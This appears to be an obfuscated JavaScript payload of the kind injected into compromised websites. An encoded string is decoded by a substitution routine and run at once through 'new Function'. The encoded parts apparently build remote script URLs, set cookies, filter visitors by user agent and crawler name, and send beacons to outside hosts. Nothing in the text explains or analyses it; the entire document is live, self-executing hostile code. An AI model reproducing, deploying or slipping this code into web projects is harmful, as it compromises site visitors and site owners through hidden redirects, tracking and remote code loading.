Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();